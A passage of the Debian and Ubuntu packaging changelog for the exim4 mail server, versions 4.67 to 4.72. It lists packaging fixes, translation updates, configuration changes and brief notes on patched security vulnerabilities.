4.72-2, it was not possible to test filter files with exim4 -bf anymore. Closes: #611572 -- Andreas Metzler Mon, 31 Jan 2011 19:05:48 +0100 exim4 (4.72-5) unstable; urgency=medium * 80_4.74_deliverylogging.patch (Pulled from upstream git): If a non-debug daemon was invoked with a non-whitelisted macro, then logs from after attempting delivery would be silently lost, including for successful delivery. This log-loss bug was introduced as part of the security lockdown for fixing CVE-2010-4345. Closes: #610611 -- Andreas Metzler Sat, 29 Jan 2011 14:33:36 +0100 exim4 (4.72-4) unstable; urgency=medium * In spf example use spf-tools-perl's spfquery instead of the one from libmail-spf-query-perl. Do not try to use unimplemented best-guess support. Update Suggests accordingly. Closes: #608336 * 80_4.74_CVE-2011-0017.patch (Pulled from upstream git): Check return values of setgid/setuid. This is a privilege escalation vulnerability whereby the Exim run-time user can cause root to append content of the attacker's choosing to arbitrary files. -- Andreas Metzler Sat, 22 Jan 2011 17:48:19 +0100 exim4 (4.72-3) unstable; urgency=low * [README.Debian*] Correct command for manual paniclog rotation. (Thanks, Jörg Sommer) Closes: #602188 * 67_unnecessaryCopt.diff: Do not use exim's -C option in utility scripts. This would not work with ALT_CONFIG_PREFIX. * Pull changes related to fixing CVE-2010-4345 from exim 4.73 rc1. Closes: #606527 + 1_cfile_norw_eximuid: Don't allow a configure file which is writeable by the Exim user or group. + 2_permcheck_configurefile: Check configure file permissions even for non-default files if still privileged. + 3_remove_ALT_CONFIG_ROOT_ONLY: Remove ALT_CONFIG_ROOT_ONLY build option, effectively making it always true. + 4_FD_CLOEXEC: Set FD_CLOEXEC on SMTP sockets after forking in the daemon, to ensure that rogue child processes cannot use them. + 5_TRUSTED_CONFIG_LIST: Add TRUSTED_CONFIG_LIST compile option. + 6_nonroot_system_filter_user: If the system filter needs to be run as root, let that be explicitly configured. The default is now the Exim run-time user. + 7_filter_D_option: Add a (compiletime) whitelist of acceptable values for the -D option. + 8_updatedocumentation: Update documentation to reflect the changes. * Build with WHITELIST_D_MACROS=OUTGOING. Post patch 7_filter_D_option exim will not regain root privileges (usually necessary for local delivery) if the -D option was used. Macro identifiers listed in WHITELIST_D_MACROS are exempted from this restriction. mailscanner (4.79.11-2.2) uses -DOUTGOING. * Build with TRUSTED_CONFIG_LIST=/etc/exim4/trusted_configs. Post patch 3_remove_ALT_CONFIG_ROOT_ONLY exim will not re-gain root privileges (usually necessary for local delivery) if the -C option was used. This makes it impossible to start a fully functional damon with an alternate configuration file. /etc/exim4/trusted_configs (can) contain a list of filenames (one per line, full path given) to which this restriction does not apply. -- Andreas Metzler Sun, 26 Dec 2010 15:13:08 +0100 exim4 (4.72-2ubuntu1) natty; urgency=low * Merge from debian unstable. Remaining changes: (LP: #671615) - debian/patches/71_exiq_grep_error_on_messages_without_size.dpatch: Improve handling of broken messages when "exim4 -bp" (mailq) reports lines without size info. - Don't declare a Provides: default-mta; in Ubuntu, we want postfix to be the default. - debian/control: Change build dependencies to MySQL 5.1. - debian/{control,rules}: add and enable hardened build for PIE (Closes: #542726). -- Artur Rona Fri, 05 Nov 2010 21:05:47 +0100 exim4 (4.72-2) unstable; urgency=low [ Marc Haber ] * Apply patch to russian (ru) debconf template, thanks to Тим Алексеевский and Tim Alexeevsky. Closes: #576202 * fix exim4-config_files man page, mention {host|sender}_local_deny_exceptions instead of local_{host|sender}_whitelist. Thanks to Fabien André in #578176 * add !acl = acl_local_deny_exceptions to defer stanzas in SPF code. Thanks to Fabien André. Closes: #578176 * Re-work config.autogenerated header to more exactly reflect configuration source. (mh) Closes: #593984 [ Andreas Metzler ] * Fix getopt invocation to make update-exim4.conf.template -o work. (Thank you Matthew W. S. Bell) Closes: #590333 * 40_dkimnotinpaniclog.diff pulled from upstream git. Stop logging non-critical DKIM errors in paniclog. Closes: #567876 * Debconf translations: - Danish. Closes: #592792 -- Andreas Metzler Sat, 30 Oct 2010 13:38:26 +0200 exim4 (4.72-1ubuntu1) maverick; urgency=low * Merge with Debian unstable (LP: #609620). Remaining changes: + debian/patches/71_exiq_grep_error_on_messages_without_size.dpatch: Improve handling of broken messages when "exim4 -bp" (mailq) reports lines without size info. + Don't declare a Provides: default-mta; in Ubuntu, we want postfix to be the default. + debian/control: Change build dependencies to MySQL 5.1. + debian/{control,rules}: add and enable hardened build for PIE (Closes: #542726). -- Artur Rona Sun, 25 Jul 2010 02:00:42 +0200 exim4 (4.72-1) unstable; urgency=low * New upstream release. (Identical to the git snapshot previously uploaded to experimental.) -- Andreas Metzler Thu, 03 Jun 2010 17:42:52 +0200 exim4 (4.72~20100529-1) experimental; urgency=low * Git snapshot 20100529. + Fix documentation for exipick -bpra. #574778 + CVE-2010-2024: Protect against symlink attacks on MBX lockfile in /tmp. (Debian's default configuration does not use MBX format, but the exim4-daemon-heavy binary supports MBX.) + CVE-2010-2023 Prevent hardlink attack on mbox sticky mail directory. (Probably not relevant for Debian systems at all, since the mail spool is 2775 root:mail.) + Dovecot authenticator ignores unknown keywords, making it compatible with version 1.1 of Dovecot authentication protocol. (= dovecot 2.0). See Changelog for complete list. * Drop patches included upstream: 36_typoinexipick.diff 20_PDKIM-Upgrade-PolarSSL.diff. -- Andreas Metzler Sun, 30 May 2010 14:01:52 +0200 exim4 (4.71-4) unstable; urgency=low * Drop unneeded lintian overrides. + description-contains-homepage + debian/source.lintian-overrides dbg-package-missing-depends exim4-dbg. + partially-translated-question + maintainer-script-needs-depends-on-update-inetd + possible-bashism-in-maintainer-script + binary-without-manpage + possible-debconf-note-abuse + changelog-not-compressed-with-max-compression * Lintian informational hints: + hyphen-used-as-minus-sign. debian/manpages/exim4-config_files.5 debian/manpages/update-exim4.conf.8 debian/manpages/exiwhat.8 * Use dh_lintian. * Fix sourcing of lsb-functions in init-script. Test for existence of /usr/lib/exim4/exim4 first. Unconditionally read /lib/lsb/init-functions. If they are not present the package's dependencies are not installed. Bump dependency on lsb-base to 3.0-6. (log_action_*) * Update reference to spec.txt in README.Debian. Closes: #568051 * Invoke spfquery as spfquery.mail-spf-query-perl. There are three different implementations of spfquery in Debian, with incompatible commandline switches and different exit codes. Closes: #573956 -- Andreas Metzler Thu, 25 Mar 2010 17:34:30 +0100 exim4 (4.71-3ubuntu1) lucid; urgency=low * Merge with Debian unstable (lp: #501657). Remaining changes: + debian/patches/71_exiq_grep_error_on_messages_without_size.dpatch: Improve handling of broken messages when "exim4 -bp" (mailq) reports lines without size info. + Don't declare a Provides: default-mta; in Ubuntu, we want postfix to be the default. + debian/control: Change build dependencies to MySQL 5.1. + debian/{control,rules}: add and enable hardened build for PIE (Debian bug 542726). -- Michael Bienia Fri, 01 Jan 2010 16:28:19 +0100 exim4 (4.71-3) unstable; urgency=low * exim4-base.cron.daily: Do not run exim_tidydb on Berkeley DB logfiles. Closes: #501892 * exim4-base.postinst: If exim_dumpdb fails to read a hints-db also remove Berkeley DB logfiles. * Switch to Berkeley DB 4.8 (from 4.6). Zap hints db on upgrade. Temporarily make -daemon packages depend on exim4-base >> 4.71-2. (This can be removed after the next upstream release.) Closes: #548479 * control: Drop bzip2 from Build-Depends. Use line-wrapping for Build-Depends. * 36_typoinexipick.diff: Fix a typo in exipick manpage. (Lintian). * exim4-base.postinst: Redirect status message to stderr. -- Andreas Metzler Fri, 01 Jan 2010 13:41:44 +0100 exim4 (4.71-2) unstable; urgency=low * Pulled from upstream: 20_PDKIM-Upgrade-PolarSSL.diff. Update files copied from PolarSSL to 0.12.1. * Add example file to set smarthost from /etc/network/interfaces (mh) * Add DKIM_* macros on remote smtp transports for setting the corresponding dkim_* options. * Upload to unstable. -- Andreas Metzler Sat, 12 Dec 2009 13:24:21 +0100 exim4 (4.71-1) experimental; urgency=low * New upstream version. + Drop patches included upstream. 51_dkimrelatedcrash.diff 51_noreject_unsigned.diff. -- Andreas Metzler Sat, 28 Nov 2009 12:03:50 +0100 exim4 (4.70-2) experimental; urgency=low * 51_noreject_unsigned.diff Fix a dkim related expansion error that appears when the expanded value of dkim_verify_signers winds up empty and acl_smtp_dkim is defined. (This has the effect of rejecting any mail without DKIM signature.) * Work around 490937 by removing CHANGES. -- Andreas Metzler Sat, 21 Nov 2009 10:15:41 +0100 exim4 (4.70-1) experimental; urgency=low * Point watchfile to ftp.exim.org. * Use dpkg-source v3 instead of dpatch, simplifying debian/rules a little bit. * New upstream version. + Pull 51_dkimrelatedcrash.diff fixing a segfault only applying to the 4.7x series. http://bugs.exim.org/show_bug.cgi?id=912 * debhelper v7 mode. + Use -XCHANGES to Keep dh_installchangelogs v7 from insisting to install ./CHANGES as upstream changelog. + Bump build-dependency. + Use dh_prep instead of dh_clean -k. -- Andreas Metzler Sun, 15 Nov 2009 13:10:32 +0100 exim4 (4.70~rc4-1) experimental; urgency=low * New upstream version. -- Andreas Metzler Wed, 11 Nov 2009 19:04:35 +0100 exim4 (4.70~cvs+20091030-1) experimental; urgency=low * New upstream snapshot. -- Andreas Metzler Sat, 31 Oct 2009 10:08:55 +0100 exim4 (4.70~cvs+20091026-1) experimental; urgency=low * New snapshot. + Fixes segfault in dovecot authenticator. Closes: #551106 + Improved documentation regarding certifacte verification on outgoing SMTP connections. Closes: #544472 * Drop 40_boolean_redefine_protect.dpatch - included upstream. * Drop unapplied superfluous patches from diff: 36_pcre 37_exiwhatpsmisc. -- Andreas Metzler Mon, 26 Oct 2009 16:09:32 +0100 exim4 (4.70~cvs+20091017-1) experimental; urgency=low * Fix syntax errors in README.Debian.xml. (Thank's, Daniel Leidert) * New upstream cvs snapshot. + Drop unnecessary patches: 36_pcre 37_exiwhatpsmisc. + Close dovecot socket after wrong password was given. Closes: #515503 + Standalone DKIM support. Obsoletes and therefore Closes: #486437,#459883 * Drop upstream URL from package descriptions. Closes: #471425 * [patches/00_unpack.dpatch] Drop workaround for tar 1.14, even oldstable has 1.16. Closes: #486436. * Do not set 'tls_try_verify_hosts = *' by default anymore. Some clients (e.g Outlook) will terminate the SSL connection when the server presents the long list of accepted TLS certificates after STARTTLS. If TLS certificate validation of clients is needed you'll need to set MAIN_TLS_TRY_VERIFY_HOSTS again and point MAIN_TLS_VERIFY_CERTIFICATES to a file containing only the accepted certificates. Closes: #515999, #316522, #482012 * Add debian/README.source. (Policy 3.8.3) * Fix typo in update-exim4.conf.8. Thanks to Calum Mackay. Closes: #543354 * Listen on IPv6 loopback interface by default. (Only applies to fresh installations.) Closes: #544292 * upstream default configure file explicitly disables dkim in some instances. Merge into Debian config and update debian/example.conf.md5. Bump Conflicts of exim4-config package. -- Andreas Metzler Sat, 17 Oct 2009 14:26:54 +0200 exim4 (4.69-11ubuntu4) karmic; urgency=low * debian/{control,rules}: add and enable hardened build for PIE (Debian bug 542726). -- Kees Cook Thu, 20 Aug 2009 17:33:26 -0700 exim4 (4.69-11ubuntu3) karmic; urgency=low * debian/control: Change build dependencies to MySQL 5.1. -- Mathias Gug Mon, 17 Aug 2009 17:57:26 -0400 exim4 (4.69-11ubuntu2) karmic; urgency=low * Don't declare a Provides: default-mta; in Ubuntu, we want postfix to be the default. -- Steve Langasek Wed, 03 Jun 2009 15:39:14 +0000 exim4 (4.69-11ubuntu1) karmic; urgency=low * Merge from debian unstable (LP: #375923), remaining changes: - debian/patches/71_exiq_grep_error_on_messages_without_size.dpatch: Improve handling of broken messages when "exim4 -bp" (mailq) reports lines without size info -- Thierry Carrez Wed, 13 May 2009 12:15:29 +0200 exim4 (4.69-11) unstable; urgency=medium * Build-Depend on lynx-cur|lynx instead of lynx. (lynx is just a dummy package currently, and due its strict dependencies uninstallable until the most recent version of lynx-cur has been built.) * Work around sed's improved unicode support, not accepting latin1 characters as pattern delimiters in UTF-8 locales anymore. Closes: #527445 + [update-exim4.conf] Go for / as separator instead. - This might have served a purpose in earlier releases with free-form replacements but is just overcomplicated now. + [update-exim4defaults]: The tricky bits for exim options are the ones that take a filename as argument (e.g. -C and -oX) or -D for overriding macros. Use LC_CTYPE=C. + [exim4-config.config] The sed commands deals with (lists of) hostnames and IP(v6) addresses and nets. Use LC_CTYPE=C. -- Andreas Metzler Sun, 10 May 2009 10:15:34 +0200 exim4 (4.69-10) unstable; urgency=low [ Andreas Metzler ] * Use macro CONFDIR in lowuid_aliases router, too. Closes: #507124 * Disable shell filename expansion in update-exim4.conf using set -f. Closes: #515668 * Stop using set -u in update-exim4.conf. With version 4.0 bash changed its behavior to throw an error on expansion of $* or $@ with set -u if no positional parameters were given. Working around this is obnoxious and harms readability, imho doing away with set -u's benefits. Closes: #518752 * Allow setting outgoing smtp helo/ehlo by setting REMOTE_SMTP_HELO_DATA macro directly. Previously this was just supposed to be used as a helper macro for REMOTE_SMTP_HELO_FROM_DNS. REMOTE_SMTP_HELO_FROM_DNS overrides a manual REMOTE_SMTP_HELO_DATA data setting. Closes: #514113 * [README.Debian] Bring documentation for Diffie-Hellman parameters up to current practice, mainly by deleting most of the outdated docs. Closes: #508749 * [exim4 init-script]. Modify check for smtp inetd entry to use an anchored pattern, matching "smtp" but not "smtp-foo". Closes: #516146 * exim4-daemon-light now Provides: default-mta. See #508644. * Ship both transport-filter.pl and ratelimit.pl in /usr/share/doc/exim4-base/examples. Closes: #518836 * [lintian] Add ${misc:Depends} to all Depends. * [lintian] Add override for dbg-package-missing-depends exim4-dbg. * Sync debian/control with override file by moving *-dbg to section debug. * Fix grammar error in update-exim4.conf.8. (Thank's, Gerfried Fuchs) Closes: #525248 [ Christian Perrier ] * Debconf translations: - Asturian. Closes: #511624 - Belarusian. Closes: #516049 - Kazakh added. Closes: #520996 - Slovak. Closes: #523447 - Bengali added. -- Andreas Metzler Sat, 02 May 2009 09:05:56 +0200 exim4 (4.69-9ubuntu1) jaunty; urgency=low [ Daniel van Eeden ] * debian/patches/71_exiq_grep_error_on_messages_without_size.dpatch: Improve handling of broken messages when "exim4 -bp" (mailq) reports lines w/o size info, LP: #18194 -- Dustin Kirkland Wed, 11 Feb 2009 06:43:52 -0600 exim4 (4.69-9) unstable; urgency=medium * [update-exim4.conf]: Use POSIX character classes [:alnum:] or explicit listing ("ABCDEF..") instead of a-z, since the latter does not work as expected in some locales. Closes: #500691 -- Andreas Metzler Tue, 30 Sep 2008 20:12:27 +0200 exim4 (4.69-8) unstable; urgency=low [ Andreas Metzler ] * Quote last n lines (configurable by changing the value of E4BCD_PANICLOG_LINES, defaults to 10) of paniclog in warning email sent out on non-empty paniclog. Closes: #499492 * Fix evaluation logic of E4BCD_WATCH_PANICLOG for sending out warning e-mails about non-empty paniclog in daily cron-job to match documentation: + yes: Send daily warning e-mails, do not touch panniclog. + once: Send out the mail and rotate paniclog afterwards. + no: Do nothing. (Logfile is rotated when its size reaches 10 MB.) (Previously the interpretations of "once" and yes were mixed up.) [ Debconf translations ] * Catalan. Closes: #499299 -- Andreas Metzler Sun, 28 Sep 2008 12:01:39 +0200 exim4 (4.69-7) unstable; urgency=low [ Andreas Metzler ] * Sync from ubuntu: Refer to spec.txt.gz instead of spec.txt in README.Debian.xml. [ Debconf translations ] * Korean. Closes: #491518 * Lithuanian. Closes: #497402 * Greek. Closes: #498466 * Esperanto. Closes: #498796 -- Andreas Metzler Tue, 16 Sep 2008 19:14:08 +0200 exim4 (4.69-6) unstable; urgency=high [ Debconf translations ] * Malayalam. Closes: #479466 * Albanian. Closes: #480282 * Polish. Closes: #481638 * Vietnamese. Closes: #482641 * Turkish. Closes: #482714 * Brazilian Portuguese. Closes: #485384 * Finnish. Closes: #489171 [ Marc Haber ] * Have timeout.pl print a meaningful error message if perl-modules is not installed. Have exim4-base recommend perl-modules. Thanks to Tom Schouten. Closes: #482319 * Create gnutls-params with mode 644 in the first place. Thanks to Jean-Luc Coulon. Closes: #481765 * Replace ~/.rnd with $HOME/.rnd in exim_gencerts. Thanks to Ross Boylan for noticing this. * exim4-config.config: send hostname --fqdn stderr to /dev/null, we handle errors properly. Thanks to Andrew Vaughan in #481597. [ Andreas Metzler ] * Fix typos/other errors in README.Debian.xml. Improve formatting. (Thank's Georg Neis and Paul Menzel) Closes: #486105, #486106, #486116 * Revert fancy quoting in initscript. Closes: #486667,#482752 (fixes rc-bugs). * [debian/control README.Debian.xml] Spelling fix ("metapackage" instead of "meta-package"). Thank's lintian -- Andreas Metzler Sat, 19 Jul 2008 19:56:36 +0200 exim4 (4.69-5) unstable; urgency=low * remove chmod/chown code from exim4_refresh_gnutls-params completely * do not remove gnutls-params in exim4-base.postinst -- Marc Haber Mon, 28 Apr 2008 21:46:18 +0200 exim4 (4.69-4) unstable; urgency=low * update-exim4.conf: Fix impossible code path in guessed_name check. Ouch. Thanks to Anand Kumria. Closes: #478066 * Regenerating the 2048 bits DH parameters takes too long for slow systems, disable (both in the monthly cron job and postinst) and document that paranoid people will want to regenerate them manually. -- Marc Haber Sun, 27 Apr 2008 10:06:39 +0200 exim4 (4.69-3) unstable; urgency=low * The "please do not file duplicate bugs" release [ Marc Haber ] * Work around lsb-base regression (#477055, "wontfix") by changing the way we quote exim's arguments in the init script, hoping that this does not sacrifice robustness. Closes: #477194, #477236, #477239, #477258, #477562, #476987 * README.Debian.xml: Fix router/transport pair typo. Thanks to Georg Neis. Closes: #463573 * Have exim4-base Suggest swaks * Relax exim4-dbg dependency on eximon4 to a recommends (see #463929). * 30_exim4-config_check_rcp: Remove mention of /usr/share/doc/exim4- config/default_acl in favor of exim4-config_files(5). Thanks to Jon Dowland. Closes: #464539 * Move paniclog log rotation to /etc/logrotate.d/exim4-paniclog to allow people to manually rotate the paniclog only by calling logrotate -f /etc/logrotate.d/exim4-paniclog. Thanks to Josip Rodin (#396003) for this nice idea. Implement E4BCD_WATCH_PANICLOG=once as suggested by Vasilis Vasaitis. * activate dlfunc. Closes: #471314 * set LC_ALL=C in debian/rules. Thanks to Michael Meskes. Closes: #471486 * Document that Incredimail's TLS "implementation" breaks on a certificate request. Thanks to Andrew McGlashan. Closes: #459323 * Fix parenthesis mismatch in README.Debian * exim4_refresh_gnutls-params: Call openssh dhparam with HOME=$EXIM4_SPOOLDIR so that openssl's .rnd file is placed there. * update-exim4.conf: print a warning if dc_minimaldns and hostname --fqdn does not print a fully qualified name. Thanks to Lothar Ketterer. Closes: #476249 * DH parameters handling: Closes: #475194 * add dpatch to have exim use 2048 bit DH parameters * ship static gnutls-params file with the package. * Override resulting lintian warning. * generate new gnutls-params only monthly and in postinst on configure. * exim4_refresh_gnutls-params: * generate 2048 bit DH parameters * dh-params file can be world readable * Filter out noise from mainlog before handing it off to eximstats in daily cron job. Thanks to Justin Pryzby. Closes: #476541 * Move docs from Apps/Net to Network/Communication * linda R.I.P. [ Robert Millan ] * Process acl_local_deny_exceptions ACL before rejecting a message in SPF check. Thanks to Miklos Szeredi. Closes: #451633 [ Andreas Metzler ] * Fix typos in exinext's man page (/s/eximnext/exinext/). (Thanks, Filipus Klutiero) Closes: #471113 * exiwhat: Check at runtime whether killall is available. Fall back to a combination of 'ps ax' and regular kill otherwise. Closes: #476455 * Fix wrong logic in testing for existence of lsb-base functions in init script. (Thanks, Tim Cross) Closes: #477578 -- Marc Haber Sat, 26 Apr 2008 00:00:30 +0200 exim4 (4.69-2) unstable; urgency=low [ Marc Haber ] * update-exim4.conf: fix bashism echo -n in preprocess_macro. Thanks to Michal Politowski. Closes: #462173 [ Christian Perrier ] * Debconf translations updates: - German. Thanks to Eric Schanze. Closes: #462673 [Andreas Metzler] * Add missing .P to exim_db.8 to fix indenting. (Thanks, David L. Anselmi) Closes: #462712 * Add (disabled) patch to save random seed to a file -- Marc Haber Wed, 30 Jan 2008 09:26:56 +0100 exim4 (4.69-1) unstable; urgency=low [ Marc Haber ] * New upstream version. - improve --help handling. Closes: 438435 * Debconf translations updates: - Dutch. Thanks to Bart Cornelis. Closes: #448924 - Norwegian Bokmål. Thanks to Hans Fredrik Nordhaug. Closes: #452383 - Slovak. Thanks to Peter Mann. Closes: #460502 - Catalan: fix some semicolon issues and most obvious fuzzy strings. Thanks to Jordà Polo. Closes: #447765. * Add support for smtp_accept_max_nonmail_hosts to ease external relay testing. * Make Change to init script dependencies as suggested by Petter Reinholdtsen. Closes: #460229 * debian/control: * Add Homepage field to Source Package stanza. * Standards-Version: 3.7.3 (no changes necessary) * lintian/overrides: - Override all description-contains-homepage messages, we're going to keep this field around until post-lenny. - Override exim4-daemon-heavy: package-contains-empty-directory usr/lib/exim4/local_scan/, the directory should be there to show people where to put local extensions (and I am not sure how exim behaves if that directory is not there). * linda/overrides: - Override menu section Applications, which is a false alert. - Override complaint about newer standards version. - This override does not work due to #386647 * exim4-base.NEWS: fix Debian's typo * exim4-base.dirs: remove usr/bin, we do not ship any files there. * Generate exim macros from every definition found in ue4cc that starts with a capital letter (sans CFILEMODE) to cater for an obviously very common user error. This feature is going to stay undocumented. [ Christian Perrier ] * Debconf translations updates: - Dzongkha. Thanks to Tenzin Dendup. Closes: #455871 - Slovak. Thanks to Peter Mann. Closes: #460502 [ Andreas Metzler ] * Fix typo in acl/20_exim4-config_local_deny_exceptions. (Thanks, Roderick Schertler) Closes: #456343 -- Marc Haber Tue, 22 Jan 2008 09:19:14 +0100 exim4 (4.68-2) unstable; urgency=low [ Marc Haber ] * Fix changelog: lowuid router does not close #420217. Closes: #440217 [ Andreas Metzler ] * Mention /etc/exim4/exim4.conf in FILES section of update-exim4.conf.8. * Fix syntax error in real-local router. Closes: #446346 * Configuring exim as configtype="internet host" asks a different set of questions than e.g. satellite. However some of the settings controlled by these hidden questions still have effects on exim's behavior. Change exim4-config to ask these hidden questions if they have been set to a non-default value. (Either manually, or by switching configtype after setting the values.) Closes: #443210 These questions have been added conditionally: - internet site with smarthost: + dc_relay_domains - satellite + dc_relay_domains + dc_localdelivery -- Marc Haber Thu, 01 Nov 2007 19:17:36 +0100 exim4 (4.68-1) unstable; urgency=low * new upstream version. Closes: #444195 * Documents tls_verify_hosts during TLS sessions. Closes: #422419 * new example.conf md5 sum * Move lowuid router to a later place, handle real- only for locally generated messages. Thanks to Andreas Metzler and others on pkg-exim4-devel. Closes: #440217 * /etc/init.d/exim4: * Use start_daemon and killproc from lsb-base as a new plunge at #396944 * Do not clean the environment as severly as before (functions need to survive). * README.Debian: * Document that using client certificates needs extra configuration. Thanks to John Goerzen. Closes: #440663 * conf.d/main/03_exim4-config_tlsoptions: Make it clear that this file only concerns exim as an SMTP server. * exim4-config.preinst: Add EX4DEBUG facility, add rm_conffile function * Rename acl_whitelist_local_deny to acl_local_deny_exceptions as suggested by Ross Boylan. Closes: #387078. * Switch Build-Depends to db4.6. Closes: #442645 * Debconf translations updates: - Portuguese. Thanks to Miguel Figueiredo. Closes: #441895, #445494 - Norwegian Nynorsk. Thanks to Håvard Korsvoll. * exim4-config.NEWS: Explicitly mention that .dpkg-old and .dpkg-dist files are included in the DEBCONFsomethingDEBCONF check to allow lazy people to only grep the docs instead of actually reading them. This was requested by Hamish Moffatt in #445327. -- Marc Haber Sun, 07 Oct 2007 21:38:22 +0200 exim4 (4.67-8) unstable; urgency=low [ Marc Haber ] * Define REMOTE_SMTP_HELO_DATA and REMOTE_SMTP_HELO_FROM_DNS macros to have exim pull its HELO name from DNS automatically. Thanks to Jari Aalto and Magnus Holmgren. Closes: #275975 * Enable DNSDB in exim4-daemon-light (needed by the HELO magic) * update-exim4.conf: Allow [] in ascii strings (needed for @[]) * Improve domain literal docs * Remove debconf template noalias_regenerate * Fix PRIMARY_HOSTNAME typo in main/02_exim4-config_options. Thanks to Tim Krah. Closes: #434337 * fix alphabet salad in README.Debian. Closes: #434640 * Add E4BCD_DAILY_REPORT_TO to daily cron job. Thanks to Florian Schlichting. Closes: #426840 * Fix /etc/exim paths in exim4-config_files(5). Thanks to Marques Johansson. * Debconf translations updates: - Japanese. Closes: #433070 - Spanish. Thanks to Javier Fernández-Sanguino Peña. Closes: #433084 - Thai. Thanks to Theppitak Karoonboonyanan. Closes: #433177 - Arabic. Thanks to Ossama Khayat. Closes: #433222 - Hebrew. Thanks to Baruch Even. Closes: #433291 - Italian. Closes: #433200 - Galician. Closes: #433218 - Portuguese. Thanks to Miguel Figueiredo. Closes: #433293 - Hungarian. Thanks to Josip Rodin. Closes: #433336 - Punjabi. Thanks to Amanpreet Singh Alam. Closes: #433578 - Marathi. Thanks to Priti Patil. - Wolof. Thanks to M Mamoune Mbacke. Closes: #433701 - Indonesian. Thanks to Arief S Fitrianto. Closes: #433758 - Romanian. Thanks to Eddy Petrisor. Closes: #433854 - Nepali. Thanks to shyam krishna bal. Closes: #435345 - Swedish. Thanks to Daniel Nylander. Closes: #435705 [ Andreas Metzler ] * Update eximon menu file for menu 2.1.35 hierarchy. [ Christian Perrier ] * Fix typo in README.Debian.xml. Thanks to Closes: #434961 -- Marc Haber Sun, 19 Aug 2007 09:25:10 +0200 exim4 (4.67-7) unstable; urgency=low * only generate HIDE_MAILNAME macro if its value is really non-empty -- Marc Haber Sat, 14 Jul 2007 08:47:40 +0200 exim4 (4.67-6) unstable; urgency=low * Add some more debugging output to maintainer scipts, hopefully nailing #396944 which has surfaced again. * Improve wording in NEWS.Debian for exim4-config. Closes: #431019, #431130 * Issue DEBCONFfooDEBCONF warning as well for DEBCONFheaders_rewriteDEBCONF. Thanks to John Goerzen. Closes: #431088 * fix localhost inserted twice into local_domains. Closes: #432394 * fix MAIN_RELAY_TO_DOMAINS in update-exim4.conf. Thanks to Ben Wheeler. Closes: #432521 * Document that special handling is needed for host lists that only consist of a single IPv6 address. Thanks to Frederic Daniel Luc Lehobey. Closes: #432229 * Add forgotten (conditional) definition of REMOTE_SMTP_HEADERS_REWRITE and REMOTE_SMTP_RETURN_PATH for remote_smtp transports. Thanks to Miguel Martins Feitosa Filho. Closes: #432716 * Debconf translations * Bulgarian completed. Closes: #431957, #430521 * Update Tamil. Thanks to Tirumurti Vasudevan. Closes: #432181 * Update Spanish. Thanks to Javier Fernández-Sanguino Peña. Closes: #429940 -- Marc Haber Fri, 13 Jul 2007 22:22:09 +0200 exim4 (4.67-5) unstable; urgency=low * the "verderben viele Koeche den Brei?" release [ Andreas Metzler ] * Point to exim4_passwd(5) instead of non-existing exim_passwd(5) in AUTH section of configuration. (Thanks Arkadiusz Dykiel, #430149) * update-exim4.conf check_ascii_pipe(): Accept < since we use it for list construction. Closes: #430391 * Anchor UPEX4CmacrosUPEX4C in update-exim4.conf [ Robert Millan ] * Update informational message in SPF ACL to use the latest http://www.openspf.org/Why API. [ Debconf translations ] * French completed and converted to UTF-8 * All remaining non UTF-8 translation switched to UTF-8 [ Marc Haber ] * do not quote error message in lowuid router * replace commented UPEX4CmacrosUPEX4C with UPEX4CmacrosUPEX4C exim configuration macro definition as placeholder for ue4c-generated macros. [ Christian Perrier ] * Correct the invalid ${fqdn} variable in exim4-config.templates -- Marc Haber Thu, 28 Jun 2007 09:22:04 +0200 exim4 (4.67-4) unstable; urgency=low * update-exim4.conf: * fix embarrassing typo in update-exim4.conf that broke macro expansion for two values. Thanks to Andrew Chittenden. Closes: #429828 * Allow ! and * in ue4cc. Thanks to Dieter Hametner and Raf D'Halleweyn. Closes: #429986 * have @ and localhost added to local_domains list. Thanks to a big number of people. Closes: #429939 * eliminate -e && chmod construct as a possible cause of #429617. Thanks to Martin Ketzer and Silvestre Zabala * Now barfs if DEBCONFsomethingDEBCONF is still found in the configuration file. Thanks to a truckload of users who were too lazy to read the docs, did not accept the suggested configuration file changes and then complained about a non-working exim ("malformed macro definition") * README.Debian: Document the new low-UID handling mechanism. Thanks to Johannes Rohr. Closes: #429878 * debian/rules: do not ignore make clean errors * Debconf translation updates: - Basque. Closes: #429626 - Czech. - Brazilian Portuguese. Closes: #429867 -- Marc Haber Fri, 22 Jun 2007 13:55:15 +0200 exim4 (4.67-3) unstable; urgency=low [ Andreas Metzler ] * Initialize permissions of bug-script and exim-adduser as 755, since diff does not preserve permissions. Both were shipped as 644 in binary packages not built with svn-buildpackage. Closes: #420446 [ Marc Haber ] * Merge experimental changes from revision 2018:2073 * Fix "Zahlendreher" in closure of #427690. Closes: #427690 * update-exim4.conf: * finally get rid of the DEBCONFfooDEBCONF stuff. That information is now passed to the configuration by ue4c by directly setting exim macros in the configuration. This has caused both the configuration and ue4c to be much shorter. * run with -e, -C and -u. * convert input read from update-exim4.conf.conf to lower case * barf if strange characters are found in ue4cc. Closes: #400294 * Remove superfluous "x$foo" = "xbar" constructs from scripts * Add routers to reject mail to accounts with low UID. Closes: #400790. * Make daily cron job barf if /usr/bin/mail is not found. Have exim4-base recommend mailx. Closes: #427690 * Have all -daemon packages provide exim4-localscanapi-1.0 and exim4-localscanapi-1.1 as requested by Magnus Holmgren while fixing #426425. Also include exim4-localscan-plugin-config script with exim4-dev. Thanks to Magnus for helping with this. Closes: #428274 * remove /etc/exim4/email-addresses symlink and document this. Thanks to Josip Rodin. Closes: #420578 * introduce conf.d/250_exim4-config_lowuid which optionally allows to reject (or alias away) mail to low-uid accounts that are not listed in an exception list. Thanks to Dominic Hargreaves, Marc Sherman and Ross Boylan. Closes: #400790, #307768, #331716 * remove versioned depends on cron, since the version we need is well before sarge. * Add cron | fcron dependency. Fcron is going to be removed again at the first sign of trouble. Closes: #381806 * remove move_exim3_spool debconf template. Closes: #391762 * replace openssl gendh with openssl dhparam. Closes: #413235 * adapt docs, README and manpages * have Hilko fix the lynx-dump postprocessing to repair generating README.Debian text version. Thanks! * increase README.Debian generation robustness. Thanks to Hilko. * debconf: * Partly apply Christian Perrier's patch for reviewed templates and control file. Closes: #426980 * Other minor template changes. * get rid of "mails" in debconf templates, use "messages" instead. Re-word local_interface debconf template. Other minor changes. Thanks to Jens Seidel and Christian Perrrier. Closes: #394976 * re-work exim4-config.config logic to have split/non-split config asked last instead of first. This partly addresses #410756. * Add exim4-daemon-heavy.templates, exim4-daemon-light.templates and exim4.templates to POTFILES.in * Re-Word dc_other_hostnames debconf template. 